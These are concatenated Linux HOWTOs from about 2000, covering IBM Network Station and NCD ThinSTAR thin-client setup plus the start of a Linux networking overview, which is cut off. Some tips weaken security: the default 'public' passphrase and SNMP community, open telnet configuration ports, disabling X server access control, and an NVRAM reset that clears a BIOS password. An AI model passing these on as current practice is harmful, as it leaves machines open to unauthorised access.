Configuration File                      /usr/netstation/configs/standard.nsm
Configuration Directory                 /usr/netstation/configs
TFTP Order                              2
NFS Order                               1
MOP Order                               Disabled
Local Order                             Disabled

Where /usr/netstation is the directory export on 10.0.0.1

Setting Up the Monitor

Section 7 (F7): You can choose the right resolution / refresh rate from a nice menu. I have mine running on an old 14" VGA Screen running in 1024x768 @60Hz

Basically that's all you need to install.

Just plug in your Network cable again. And Reboot the NC. After testing the Video / DRAM, the NC will search the Host system and request the startup information, download the Kernel from the NFS and boot up.

In some cases, the NC might download an updated Firmware from the host.

When starting the graphical Console you should get a menu bar and a screen where you can select the X Hosts. You are now in the CLE (Common Login Environment): it's a desktop from where you can start all sessions, either telnet or X . It uses a local window manager which is a small window manager based on MWM.

Your NC is now setup. Congratulations !

Further Configuration

Further configuration of the NC can be done e.g. be setting the colors, window sizes, default keymaps etc. I'm not going to describe these in detail. If you have troubles finding your way through the menu system. The IBM Network Station Runtime Environment for RS/6000 User's Guide which can be found in either .pdf or .ps at http://www.as400.ibm.com/networkstation/rs6000/ and will provide you with detailed information.

4.3 Netvista Clients

Newer versions of the Setup screen might look like this

  • F2 = View Hardware Configuration
  • F3 = Set Network Parameters
  • F4 = Set Boot Parameters
  • F5 = Set Configuration Parameters
  • F6 = Set Monitor Parameters
  • F7 = Set Language Parameters
  • F10 = Set Verbose Diagnostic Message Disabled

With F3 you get a panel to set the IP adresses of the Station, the boot server and the gateways as well as the subnet mask. With F4 you get a panel to set the boot kernel name and path and method (tftp or NFS). F5 brings you to a panel to set your configuration files and paths.


Linux Netstation HOWTO: Misc Stuff

 Next Previous Contents

5. Misc Stuff

5.1 Experiences (NC100)

Using the NC as a plain terminal with multiple consoles. The Built-in Motif extensions are a lot easier to use than the default setup ;-) Pressing the Pause/Break key will pop up the NC Menu at any time.

5.2 Connecting through a network into the NC (NC100)

The network station allows configuration access via telnet sessions on several ports. The ones I know are by default configured like this:

  • port 87, service SerialSD, (raw - serial daemon)
  • port 5964, service ParallelD, (raw - parallel daemon)
  • port 5976, service FILED, (raw - file manager)
  • port 5977, service PREFD, (raw - user preferences)
  • port 5978, service DIAG, (raw - diagnostics)
  • port 5979, service CONFIGD, (raw - configuration)
  • port 5996, service FILED, (telnet - file manager)
  • port 5997, service PREFD, (telnet - user preferences)
  • port 5998, service DIAG, (telnet - diagnostics)
  • port 5999, service CONFIGD, (telnet - configuration)

You can easliy access the TCP ports by using a telnet session telnet NC-IPaddr port. Be careful whether there is a password check enabled. The passphrase 'public' (without quotes) worked for me.

Port 5978

Remote Logging It's the same as the messages console in your CLE.

The format of each entry stretches over 2 lines.

+ DD:HH:MM:SS NSKxxxx: ...

The first line covers date using the string that counts days, hours, minutes and seconds since boot time. The second line starts with an message identifier and the english plain text message after a separating colon, e.g.:

[...]
+ 25:17:31:43
NSK5641: unable to get current time from 10.10.90.149
+ 26:03:29:10
NSK4708: automatic powerdown to Suspend state after 40 minutes idle time
+ 26:03:49:10
NSK4708: automatic powerdown to Powerdown state after 60 minutes idle time
+ 26:07:22:38
NSK8001: accepting DIAGD connection from 10.10.90.150
[...]

Port 5999 CONFIGD

Use this port to do remote configuration for the NC by an telnet session (telnet NC-IPaddr 5999).

Here are some first commands and hints that seemed to me to be useful. You can apparently configure the NC remotely - online. The configuration files use the same format, but do allow only an offline configuration. As an alternative you may use the the setup function from the NC menu window.

First of all you will need to login if you defined a password. Logging into the NC should show you a sequence like:

*** NCD X Terminal Configuration ***
Password:
Invalid Password
Password: public

Being logged in, you can start configurating. The configuration syntax is identical to /usr/netstation/configs/ the setup files. Be aware that the behaviour within this command line interface is the same as using the gui, i.e. when you set (you may omit this keyword) some parameter you need to apply it. Otherwise you will not see any effect. There is a /usr/netstation/configs/configd.doc documentation file (- more precisely I would call it a reference script -) delivered with the netstation software. (The links are configured for the RS/6000 installation.)

You probably want to start straight into the matter. So for learning it the hard way, I recommend some commands to start with:.

  • help - shows you all possible commands with some really short explanation. Some commands concerning locking should be used with care.
  • get groups - tells you which groups of configuration options are available. These are the subjects in the setup browser of the NC menu. You may think of them as section headers. These group names are also the first token in the name of the configurable items within it.
  • get boot ... slow in answering and shows you how the boot parameters of the NC are currently set.
  • get tftp - again some basic boot parameters. On my NC all are read only statistics
  • get tcpip - most useful for reading some TCP statistics, less useful for changing the IP setup, i.e. name servers, local DNS cache, ARP configuration.
  • get file - again slow response. A long list of parameters. Most of them are again self explaining. Be careful when changing the port parameters, since you might have problems to find them later on. Also some important boot parameters can be found here.
  • get nfs - shows NFS configuration. You most likely will only need it, if you use a memory PCMCIA card. Otherwise you will have little to import or export.
  • info - shows you NAME, ACCESS, and PROTECTION of a given or all variables. Helpful, if you work with protect

5.3 Port 161/udp - SNMP Access

You need some network management software to work with it. Among the most famous commercial ones are (Tivoli) NetView and HP OpenView. They provide an easy-to-use user interfaces. For linux you usually use cmu-snmp for command line and TCL/TK-based scotty for visual frontend. (I like command line and that's what I am going to explain)

Some general statement

The network station is completely configurable as already noted. In allows examinations and alterations while being used. The changes take effect either immediately, at session startup, or at boot time (see configd.doc). All reads from the network station do not unveal the users display contents, and therefore the users' privacy is respected (if the application itself respects it as well). Only the configuration may be retrieved, but not the window contents (at least not this way).

How to configure network management ?

There is a file in ASN.1 called snmpmib.txt in the installation directory of the recent releases that allows your network management console resolve the mib symbols. Otherwise you see dot-separated sequences of numbers only. So best is to append this file (comments start with double minus "--") to the mib.txt file of your SNMP software. You can use snmpwalk, snmpget, snmpset to browse and modify the symbols you have retrieved.

How to start managing?

Simplest way to start managing is to execute the commands

snmpwalk NC-IPaddr public system
snmpget NC-IPaddr public system.sysDescr.0
snmpset NC-IPaddr public system.sysContact.0 s"MailTo:Kris.Buytaert@advalvas.b$
snmpwalk NC-IPaddr public system

Sit back and think a little bit about it. It is easy to work with.

If you never had experience with SNMP commands you should read some SNMP documentation, take reference to configd.doc. For more details refer to SNMP-HowTos.

What do you manage?

It works nearly the same way as the telnet session to the configuration port, except that each command is transferred separately to the NC using UDP. The advantage is that you do not have to work interactively, you work with UDP instead of TCP, which avoids retries to network stations that are down. you must have the privileges for being successful - 'public' is a good community for reading...

5.4 IBM Software Releases

IBM Has a special program for upgrades and documentation about the IBM Netststation releases. It includes CDs and printed documentation

It can be ordered freely from IBM from the following url service.boulder.ibm.com/nc/pcserver/cd_order.shtml.

(Thnx to Herman Bos ( hermanb@xs4allnl) for this info)

5.5 NetworkStation Manager

The NetworkStation Manager is a piece of software running on the boot server. It has a web interface and allows you to administrate all your NetworkStations from a single point. You can define users and groups and provide a customised desktop for each of them.

This is required if you don't use a windowmanager provided by Linux. It basically works by parsing and writing the configuration files. However, Linux is not a supported plattform of this software. So as a workaround you have to change the configuration files by hand or have an OS/390, an AIX or a Windows NT do the job for you. Please be aware, that for the personalisation in users and groups of your NetworkStation Desktop, you need the login daemon running on your boot server. This daemon is not available on Linux. So personalisation has to be done by naming the configuration files according to the user sitting at the Station.

There is an actual Redbook about the Network Station,

Network Station Manager V2R1

, IBM PubNumber SG24-5844-00. For the use with Linux it may be helpful for you to read IBM Network Station - RS/6000 Notebook, IBM PubNumber SG24-2016-01. It explains the use with the RS/600 AIX System (an interesting flavour of Unix).

5.6 Configuration file statements

Here are some configuration file statements that I found useful:

set boot-prom-force-update = true With this setting, the Network Station will check for a new boot PROM (aka Firmware) and download it if available.

set xserver-access-control-enabled = false Will allow all XClients to connect to the XServer running on that Network Station.

5.7 Printing

There is a Redbook about printing, 'IBM Network Station Printing Guide', IBM PubNumber SG24-5212-00. Redbooks can be found at http://www.redbooks.ibm.com/

5.8 PCMCIA Memory Cards

ANeuper@antaris.de the author of this paraphrase.

I have tested memory cards manufactured by Centennial (IBM gives you a more complete list of memory cards that work with the NC). I recommend a minimum capacity of 20 MB. If you have less you will have less functionality on the card. Even 20MB is hardly sufficient. Once a NC is installed with a memory card it can serve as peer booting host for other NCs in its network vicinity.

You need to connect to the file manager port 5996. Keep a eye on your access protections in your configuration files. If you use the memory card with the network station for the first time, you need to format it. You should mount it and export it. once you have exported it (showmount -e NC-IPaddr) you can mount it to your boot server (mount NC-IPaddr:/local /mnt) and transfer the setup directory( cp -r /usr/netstation/* /mnt). Be careful not to forget some necessary files, particularily some X11 files are needed. The full directory will not fit on the card. Avoid erasing on the chip card, claiming the freed space isn't easy and wastes space.

For more detailed information you have place an PRPQ at IBM (whatever this means), contact some IBM representative or contact

5.9 Setup

It seems the "user preferences" are stored in NVRAM, while "quick setup" and "setup parameters" are read from the boot server (in NFS, /netstation/prodbase/configs/standard.nsm).

5.10 Images

The screensaver and background reads XBM images, Linux/BSD/*nix users can use XV to export to this format. The screensaver image shown will be inverted.

5.11 Time Sync

The units don't use NTP, instead inetd's built-in unix time (37/udp) support, I'd personally recommend using xinetd.

5.12 Test Network

This is User Sevices Console version of ping.

5.13 BIOS

Setting a global password will password-protect the "BIOS" setup. According to Matthew Poertner

You can reset the NVRAM on the netstations (tested on 110 and 300 types) using the following commands:

>From Setup Utility:
-CTRL+ALT+SHIFT+F1
-NV
-R
-L
-S
Are you Sure? Yes
-Q
Reboot and Reconfig

5.14 Features

Most units (8361-110 for sure) features not only support for X (as an Xterminal) and NC (Windows NT Terminal Server) usage, it's built-in console also has support for serial (locally attached and dial-up using PPP/SLIP, also telnet connections.


Linux Netstation HOWTO: Other Useful Documentation

 Next Previous Contents

6. Other Useful Documentation

6.1 The IBM Website

The IBM Website lots of documentation on the NC, most of it can be found in PDF format.

The latest updates can be found at http://www.as4000.ibm.com/networkstation/rs6000/ including

  • IBM Network Station Runtime Environment for RS/6000 Users's Guide
  • IBM Network Station Runtime Environment for RS/6000 System Administrator's Guide
  • IBM Network Station Runtime Environment for RS/6000 System Navio NC Navigator Browser Guide

    Or from http://www.ibm.com/nc/pubs/

  • IBM Network Station Setup and Use

6.2 Mailing Lists

There is a mailing list available called The NetVista thin Client Linux Forum it can be found on http://techconnect.ease.lsoft.com/archives/netvista_thin_client_forum/network.htm , the archives can also be found there.

6.3 Linux on the PPC40X

There are a lot of new resources online about Linux on the PPC40X. Here is a small list of them. http://www.borg.umn.edu/~grant/Linux/ it seems like some of the Netstations contain a 403GC[X] on this page you can find a Linux kernel for that PPC. If anybody succeeds please contacte me ! http://www.mvista.com/products/405gp_status/main.html Montavista Software is doing a nice job in porting the Linux kernel to the IBM PowerPC 405GP based Walnut System:


Linux Netstation HOWTO: FAQ

 Next Previous Contents

7. FAQ

  • Q: Can you run a Linux kernel on the Netstation A: Depending on the type you have you can get linux running. Both 2200 and 2800 models are running Linux out of the box. I'm waiting for feedback on the 110, 300 and 1000 types. And the 100 is not running linux at the moment, it has no MMU so therefore the Linux port is a bit more difficult.
  • Q: Are there any mailing lists about the Netstation A: Take a look to the Other Usefull Documentation part in this howto ..
  • Q: I have a 2200 or a 2800 and the instructions in your HOWTO don't work QM The 2200 and 2800 are not based on the PPC architecture anymore , they have a more frequently used chipset which is supported by Linux and these things run Linux natively.
  • Q: I have no AIX available how can I unpack the kernel A: There is a new section in the howto that describes how to use another way to do this.
  • Q: I get an Invalid Kernel Type while trying to boot the NC. A: You didn't run the agree script on your aix machine.
  • Q: I log in at the remote host and my keyboard settings are incorrect. A: I use no /.Xmodap when working on the NC. This keeps my keyboardsettings perfect.


Linux Netstation HOWTO: Credits

 Next Previous Contents

8. Credits

Lots of thanks must go out to Wouter Cloetens, wcloeten@raleigh.ibm.com for getting me started , additional info from Boas Betzler, Andreas Neuper and Herman Bos. Thanks for updates in v1.00 must go to Matt Peterson and Ken Collins and Philip Tait for the setup using a Win98 machine instead of an AIX box. Josef Hill for the automatic configuration description. Niels H Sondergaard , John Kaiser also belong to the crowd of smart people that mailed me with extra info for the HOWTO

and to Bart Geens ,Bart.Geens@advalvas.be for rereading this howto and findin uot lost of splelling errosr

Also thanks to all the different people that wrote me with hints and help although I might have forgotten to include some of their comments, if you think your part is missing, please mail me ;-)


Linux Netstation HOWTO: History

 Next Previous Contents

9. History

  • v0.98p14 19980222 First Release
  • v0.99p15 19990501 Some fixes

  • v0.99p16 19991004 Major updates including feedback from Boas Betzler, Andreas Neuper and Herman Bos
  • v0.99p18 19991226 Updates after feedback from readers.
  • v1.00 20000624 Updates but now also a sollution without AIX, this might be a good time for 1.0 ;-) It Also seems like the howto is not listed under mini anymore
  • v1.01 20001103 Updates for the not using AIX sollution (Philip Tait)
  • v1.02 20010813 Lost bios passwords by Matthew Poertner
  • v1.12 20011023 Lots of modifications , Client Auto configuration by Josef Hill
  • v1.13 20011207 License Change


Linux NCD mini-HOWTO

Bart Geens & Kris Buytaert, bart.geens@advalvas.be

v0.99.16, 2001-12-07

This document tries to describe how to hook up a NCD ThinSTAR to your local network using a Linux box as server.

1. Introduction

  • 1.1 What`s this document
  • 1.2 Copyright
  • 1.3 Disclaimer

2. Requirements

  • 2.1 Hardware
  • 2.2 Software

3. Other Usefull Documentation

4. Setting up the Serverside

  • 4.1 Setting up the X server

5. Configuring the Thin Client

6. Credits

7. History


Linux NCD mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 What`s this document

We could play around with a NCD ThinSTAR for a while. Although MS NT Terminal and Citrix Meta- & Winframe are the only supported OS systems ("Powered by Windows CE" is on the cover ...), it works fine with Linux too. This is how !

The machine we had, was a NCD ThinkSTAR 200. It is powered by a 100MHz MIPS 4300 processor and had the default 8MB of RAM memory. NCD has a also other products in the ThinSTAR family. These might also work, but we haven't the opportunity to check those. If you have any of those, feel free to add any comments. Or send them to us to experiment.

This HOWTO will present one way to setup your ThinSTAR to be used in a Linux environment. This isn't much of a big deal, but for what it's worth I'll descripe the needed steps here.

This MINI Howto is not trying to be the Bible on NC's and Linux, its trying to be something for you to get started from nowhere. Contributions to this NC are welcome. In fact this HOWTO is fully based on the NC-HOWTO by Kris Buytaert in which he describes how to setup the IBM Network Station.

1.2 Copyright

This HOWTO is copyrighted 1998-2001 by Bart Geens and Kris Buytaert

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the appendix entitled "GNU Free Documentation License".

1.3 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.


Linux NCD mini-HOWTO: Requirements

 Next Previous Contents

2. Requirements

2.1 Hardware

An NC, connected to your local Network, most likely by UTP, thus by a cross-cable or HUB connecting to an X Server. Herafter called the Linux Box. The NC can be used as an X-terminal, and in this way can be used to replace an Windows Terminal server or simular application.

The NCD-ThinSTAR 200 is in way related to the IBM Network Station model 8361-100. Both machines share a lot of components such as some S3 vga components, IO , network and and normal 72pins (parity ??) sims. The motherboard is also from the same manufacturer.

The NCD worked quit fine on my network at home, but we had some trouble to get it running again on an other location. After a while we found out that the problem where the monitors. The NC does not seem to support all older monitors, even at low resolutions and refresh rates.

The Linux box does not require any special tricks: any X-server with xdm, gdm or something similar will do. We will use xdm.

2.2 Software

X Server.

Any machine running XDM with enough memory, processor power will do. You don't need to have X configured on the machine itselve, it can perfectly be a headless server. Basic X Windows install will provide you with the necessary deamons.

DHCP Mini Howto on sunsite


Linux NCD mini-HOWTO: Other Usefull Documentation

 Next Previous Contents

3. Other Usefull Documentation

Mainly the NCD website at http://www.ncd.com.


Linux NCD mini-HOWTO: Setting up the Serverside

 Next Previous Contents

4. Setting up the Serverside

4.1 Setting up the X server

Next we have to set up the X server. Basically I didn`t need to set up anything, all of my machines that ran X-Windows were configured to accept connections. I just started up the NC for the first time and it showed me all the machines that ran an XDM (cfr running an X -indirect). So any machine that can run xdm can be used as X Server. Just make sure XDM is So any machine that can run xdm can be used as X Server. Just make sure XDM is started.

Everything on the server side should be setup now. Lets try the NC side.


Linux NCD mini-HOWTO: Configuring the Thin Client

 Next Previous Contents

5. Configuring the Thin Client

Unplug the network cable from the NC. Then boot it up.

It will boot and display that fine NCD ThinSTAR logo but alse the ugly Windows CE stuff :-)). After the NC has booted, it displays the NCD ThinSTAR setup wizard (if you already have been using the NC, it will not show the wizard, but by pressing ALT-CTRL-F2 you can still reconfigure the system). The first selection is the most important one: Client selection. Be sure to change this to NCD ThinSTAR X Client.

Then you have to setup the NC's IP address. We did pick a static IP. You can also specify a DNS server, but this is not needed. To finish pick your monitors resolution. The NC should be restarted now. (Windows CE Remember ;-) )

After a while you will see the NCD ThinSTAR Connection Manager on your screen. First you can continue configuring your system by pressing ALT+CTRL+F2. Things to be configured are: keyboard and mouse. This panel also allows you to reconfigure other parts of your NC. Press OK to commit changes, and you will return to the NCD ThinSTAR Connection Manager.

The NCD ThinSTAR Connection Manager gives 2 options: connections and configure. So lets configure the system first. Pick 'X terminal' from the menu and press the edit or add button.

The NCD ThinSTAR X Connection Properties allows you to configure the name, connection options, host and color. We prefer the these settings: * Connection Option : XDM Query * Host: specify when connection is made * (other settings are not important) You could also specify a fixed X server but the broadcast option is easier.

Basicly your done now and you should be able to start a session by double-clicking the connection you just edited or added. You should get a list with all the X servers you are using.


Linux NCD mini-HOWTO: Credits

 Next Previous Contents

6. Credits

A lot of thanks go to Kris Buytaert ,kris.buytaert@advalvas.be for rereading this howto and findin uot lost of splelling errosr.


Linux NCD mini-HOWTO: History

 Next Previous Contents

7. History

19990812 first draft 19990829 typos fixed 19990901 release 20011206 License Change


The Linux Networking Overview HOWTO

Daniel Lopez Ridruejo, ridruejo@rawbyte.com

v0.32, 8 July 2000

The purpose of this document is to give an overview of the networking capabilities of the Linux Operating System and to provide pointers for further information and implementation details.

1. Introduction

2. Linux.

  • 2.1 What is Linux?
  • 2.2 What makes Linux different?

3. Networking protocols

  • 3.1 TCP/IP
  • 3.2 TCP/IP version 6
  • 3.3 IPX/SPX
  • 3.4 AppleTalk Protocol Suite
  • 3.5 WAN Networking: X.25, Frame-relay, etc...
  • 3.6 ISDN
  • 3.7 PPP, SLIP, PLIP
  • 3.8 Amateur Radio
  • 3.9 ATM

4. Networking hardware supported

5. File Sharing and Printing

  • 5.1 Apple environment
  • 5.2 Windows Environment
  • 5.3 Novell Environment
  • 5.4 Unix Environment

6. Internet/Intranet

  • 6.1 Mail
  • 6.2 Web Servers
  • 6.3 Web Browsers
  • 6.4 FTP Servers and clients
  • 6.5 News service
  • 6.6 Domain Name System
  • 6.7 DHCP, bootp
  • 6.8 NIS
  • 6.9 Authentication

7. Remote execution of applications

  • 7.1 Telnet
  • 7.2 Remote commands
  • 7.3 The X Window System
  • 7.4 VNC

8. Network Interconnection

  • 8.1 Router
  • 8.2 Bridge
  • 8.3 IP Masquerade
  • 8.4 IP Accounting
  • 8.5 IP aliasing
  • 8.6 Traffic Shaping
  • 8.7 Firewall
  • 8.8 Port forwarding
  • 8.9 Load Balancing
  • 8.10 EQL
  • 8.11 Proxy Server
  • 8.12 Diald on demand
  • 8.13 Tunnelling, mobile IP and virtual private networks

9. Network Management

  • 9.1 Network management applications
  • 9.2 SNMP

10. Enterprise Linux Networking

  • 10.1 High Availability
  • 10.2 RAID
  • 10.3 Redundant networking

11. Sources of Information

12. Document history

13. Acknowledgements and disclaimer


The Linux Networking Overview HOWTO: Introduction

 Next Previous Contents

1. Introduction

The purpose of this document is to give an overview of the networking capabilities of the Linux operating system. Although one of the strengths of Linux is that plenty of information exists for nearly every component of it, most of this information is focused on implementation. New Linux users, particularly those coming from a Windows environment, are often unaware of the networking possibilities of Linux. This document aims to show a general picture of such possibilities with a brief description of each one and pointers for further information. The information has been gathered from many sources: HOWTOs, faqs, projects' web pages and my own hands-on experience. Full credit is given to the authors of these other sources. Without them and their programs this document would have not been possible or necessary.


The Linux Networking Overview HOWTO: Linux.

 Next Previous Contents

2. Linux.

2.1 What is Linux?

The primary author of Linux is Linus Torvalds. Since his original versions, it has been improved by countless numbers of people. It is a clone, written entirely from scratch, of the Unix operating system. One of the more interesting facts about Linux is that its development occurs simultaneously around the world.

Linux has been copyrighted under the terms of the GNU General Public License (GPL). This is a license written by the Free Software Foundation (FSF) that is designed to prevent people from restricting the distribution of software. In brief, it says that although money can be charged for a copy, the person who received the copy can not be prevented from giving it away for free. It also means that the source code must be available. This is useful for programmers. Anybody can modify Linux and even distribute his/her modifications, provided that they keep the code under the same copyright.

2.2 What makes Linux different?

Why work on Linux? Linux is generally cheaper (or at least no more expensive) than other operating systems and is frequently less problematic than many commercial systems. But what makes Linux different is not its price (after all, why would anyone want an OS - even a free one - if it is not good enough?) but its outstanding capabilities:

  • Linux is a true 32-bit multitasking operating system, robust and capable enough to be used in organizations ranging from universities to large corporations.
  • It runs on hardware ranging from low-end 386 boxes to massive ultra-parallel machines in research centres.
  • Out-of-the-box versions are available for Intel, Sparc, and Alpha architectures, and experimental support exists for Power PC and embedded systems, among others such as SGI, Ultra Sparc, AP1000+, Strong ARM, and MIPS R3000/R4000.
  • Finally, when it comes to networking, Linux is choice. Not only because networking is tightly integrated with the OS itself and a plethora of applications is freely available, but for the robustness under heavy loads that can only be achieved after years of debugging and testing in an Open Source project.


The Linux Networking Overview HOWTO: Networking protocols

 Next Previous Contents

3. Networking protocols

Linux supports many different networking protocols:

3.1 TCP/IP

The Internet Protocol was originally developed two decades ago for the United States Department of Defense (DoD), mainly for the purpose of interconnecting different-brand computers. The TCP/IP suite of protocols allowed, through its layered structure, to insulate applications from networking hardware.

Although it is based on a layered model, it is focused more on delivering interconnectivity than on rigidly adhering to functional layers. This is one of the reasons why TCP/IP has become the de facto standard internetworking protocol as opposed to OSI.

TCP/IP networking has been present in Linux since its beginnings. It has been implemented from scratch. It is one of the most robust, fast and reliable implementations and is one of the key factors of the success of Linux.

Related HOWTO: http://metalab.unc.edu/mdw/HOWTO/NET3-4-HOWTO.html

3.2 TCP/IP version 6

IPv6, sometimes also referred to as IPng (IP Next Generation) is an upgrade to the IPv4 protocol in order to address many issues. These issues include: shortage of available IP addresses, lack of mechanisms to handle time-sensitive traffic, lack of network layer security, etc.

The larger name space will be accompanied by an improved addressing scheme, which will have a great impact on routing performance. A beta implementation exists for Linux, and a production version is expected for the 2.2.0 Linux kernel release.

  • Linux IPv6 HOWTO: http://www.wcug.wwu.edu/ipv6/faq/

3.3 IPX/SPX

IPX/SPX (Internet Packet Exchange/Sequenced Packet Exchange) is a proprietary protocol stack developed by Novell and based on the Xerox Network Systems (XNS) protocol. IPX/SPX became prominent during the early 1980s as an integral part of Novell, Inc.'s NetWare. NetWare became the de facto standard network operating system (NOS) of first generation LANs. Novell complemented its NOS with a business-oriented application suite and client-side connection utilities.

Linux has a very clean IPX/SPX implementation, allowing it to be configured as an:

  • IPX router
  • IPX bridge
  • NCP client and/or NCP Server (for sharing files)
  • Novell Print Client, Novell Print Server
And to:
  • Enable PPP/IPX, allowing a Linux box to act as a PPP server/client
  • Perform IPX tunnelling through IP, allowing the connection of two IPX networks through an IP only link

Additionally, Caldera offers commercial support for Novell NetWare under Linux. Caldera provides a fully featured Novell NetWare client built on technology licensed from Novell Corporation. The client provides full client access to Novell 3.x and 4.x fileservers and includes features such as NetWare Directory Service (NDS) and RSA encryption.

  • IPX HOWTO: http://metalab.unc.edu/mdw/HOWTO/IPX-HOWTO.html

3.4 AppleTalk Protocol Suite

Appletalk is the name of Apple's internetworking stack. It allows a peer-to-peer network model which provides basic functionality such as file and printer sharing. Each machine can simultaneously act as a client and a server, and the software and hardware necessary are included with every Apple computer.

Linux provides full Appletalk networking. Netatalk is a kernel-level implementation of the AppleTalk Protocol Suite, originally for BSD-derived systems. It includes support for routing AppleTalk, serving Unix and AFS filesystems over AFP (AppleShare), serving Unix printers and accessing AppleTalk printers over PAP.

See section 5.1 for more information.

3.5 WAN Networking: X.25, Frame-relay, etc...

Several third parties provide T-1, T-3, X.25 and Frame Relay products for Linux. Generally special hardware is required for these types of connections. Vendors that provide the hardware also provide the drivers with protocol support.

  • WAN resources for Linux: http://www.secretagent.com/networking/wan.html

3.6 ISDN

The Linux kernel has built-in ISDN capabilies. Isdn4linux controls ISDN PC cards and can emulate a modem with the Hayes command set ("AT" commands). The possibilities range from simply using a terminal program to connections via HDLC (using included devices) to full connection to the Internet with PPP to audio applications.

  • FAQ for isdn4linux: http://ww.isdn4linux.de/faq/

3.7 PPP, SLIP, PLIP

The Linux kernel has built-in support for PPP (Point-to-Point-Protocol), SLIP (Serial Line IP) and PLIP (Parallel Line IP). PPP is the most popular way individual users access their ISPs (Internet Service Providers). PLIP allows the cheap connection of two machines. It uses a parallel port and a special cable, achieving speeds of 10kBps to 20kBps.

  • Linux PPP HOWTO
  • PPP/SLIP emulator
  • PLIP information can be found in The Network Administrator Guide

3.8 Amateur Radio

The Linux kernel has built-in support for amateur radio protocols.

Especially interesting is the AX.25 support. The AX.25 protocol offers both connected and connectionless modes of operation, and is used either by itself for point-point links, or to carry other protocols such as TCP/IP and NetRom.

It is similar to X.25 level 2 in structure, with some extensions to make it more useful in the amateur radio environment.

  • Amateur radio on Linux web site

3.9 ATM

ATM support for Linux is currently in pre-alpha stage. There is an experimental release, which supports raw ATM connections (PVCs and SVCs), IP over ATM, LAN emulation...

  • Linux ATM-Linux home page


The Linux Networking Overview HOWTO: Networking hardware supported

 Next Previous Contents

4. Networking hardware supported

Linux supports a great variety of networking hardware, including some obsolete equipment.

Some interesting documents:

  • Hardware HOWTO
  • Ethernet HOWTO


The Linux Networking Overview HOWTO: File Sharing and Printing

 Next Previous Contents

5. File Sharing and Printing

The primary purpose of many PC based Local Area Networks is to provide file and printer sharing services to the users. Linux as a corporate file and print server turns out to be a great solution.

5.1 Apple environment

As outlined in previous sections, Linux supports the Appletalk family of protocols. Linux netatalk allows Macintosh clients to see Linux Systems as another Macintosh on the network, share files and use printers connected to Linux servers.

Netatalk faq and HOWTO:

  • http://thehamptons.com/anders/netatalk/
  • http://www.umich.edu/~rsug/netatalk/
  • http://www.umich.edu/~rsug/netatalk/faq.html

5.2 Windows Environment

Samba is a suite of applications that allow most Unices (and in particular Linux) to integrate into a Microsoft network both as a client and a server. Acting as a server it allows Windows 95, Windows for Workgroups, DOS and Windows NT clients to access Linux files and printing services. It can completely replace Windows NT for file and printing services, including the automatic downloading of printer drivers to clients. Acting as a client allows the Linux workstation to mount locally exported windows file shares.

According to the SAMBA Meta-FAQ:

"Many users report that compared to other SMB implementations Samba is more stable,
faster, and compatible with more clients. Administrators of some large installations say
that Samba is the only SMB server available which will scale to many tens of thousands
of users without crashing"

  • Samba project home page
  • SMB HOWTO
  • Printing HOWTO

5.3 Novell Environment

As stated in previous sections, Linux can be configured to act as an NCP client or server, thus allowing file and printing services over a Novell network for both Novell and Unix clients.

  • IPX HOWTO

5.4 Unix Environment

The preferred way to share files in a Unix networking environment is through NFS. NFS stands for Network File Sharing and it is a protocol originally developed by Sun Microsystems. It is a way to share files between machines as if they were local. A client "mounts" a filesystem "exported" by an NFS server. The mounted filesystem will appear to the client machine as if it was part of the local filesystem.

It is possible to mount the root filesystem at startup time, thus allowing diskless clients to boot up and access all files from a server. In other words, it is possible to have a fully functional computer without a hard disk.

Coda is a network filesystem (like NFS) that supports disconnected operation, persistant caching, among other goodies. It's included in 2.2.x kernels. Really handy for slow or unreliable networks and laptops.

NFS-related documents:

  • http://metalab.unc.edu/mdw/HOWTO/mini/NFS-Root.html
  • http://metalab.unc.edu/mdw/HOWTO/Diskless-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/mini/NFS-Root-Client-mini-HOWTO/index.html
  • http://www.redhat.com/support/docs/rhl/NFS-Tips/NFS-Tips.html
  • http://metalab.unc.edu/mdw/HOWTO/NFS-HOWTO.html
CODA can be found at: http://www.coda.cs.cmu.edu/


The Linux Networking Overview HOWTO: Internet/Intranet

 Next Previous Contents

6. Internet/Intranet

Linux is a great platform to act as an Intranet / Internet server. The term Intranet refers to the application of Internet technologies inside an organisation mainly for the purpose of distributing and making available information inside the company. Internet and Intranet services offered by Linux include mail, news, WWW servers and many more that will be outlined in the next sections.

6.1 Mail

Mail servers

Sendmail is the de facto standard mail server program (called an MTA, or Mail Transport Agent) for Unix platforms. It is robust, scalable, and properly configured and with the necessary hardware, can handle loads of thousands of users without blinking. Alternative mail servers, such as smail and qmail, are also available.

  • Sendmail web site
  • Smail faq
  • Qmail web site
Mail HOWTOs:
  • http://metalab.unc.edu/mdw/HOWTO/Mail-User-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/mini/Qmail+MH.html
  • http://metalab.unc.edu/mdw/HOWTO/mini/Sendmail+UUCP.html
  • http://metalab.unc.edu/mdw/HOWTO/mini/Mail-Queue.html

Remote access to mail

In an organisation or ISP, users will likely access their mail remotely from their desktops. Several alternatives exist in Linux, including POP (Post Office Protocol) and IMAP (Internet Message Access Protocol) servers. The POP protocol is usually used to transfer messages from the server to the client. IMAP permits also manipulation of the messages in the server, remote creation and deletion of folders in the server, concurrent access to shared mail folders, etc.

  • Brief comparison IMAP and POP
Mail related HOWTOs:
  • http://metalab.unc.edu/mdw/HOWTO/Mail-User-HOWTO.html
  • http://metalab.unc.edu/mdw/HOWTO/Cyrus-IMAP.html

Mail User Agents

There are a number of MUA (Mail User Agents) in Linux, both graphical and text mode. The most widely used ones include: pine, elm, mutt and Netscape.

  • List of mail related software
  • http://metalab.unc.edu/mdw/HOWTO/mini/TkRat.html

Mailing list software

There are many MLM (Mail List Management) programs available for Unix in general and for Linux in particular.

  • A good comparison of existing MLMs may be found at: ftp://ftp.uu.net/usenet/news.answers/mail/list-admin/
  • Listserv
  • Majordomo home page

Fetchmail

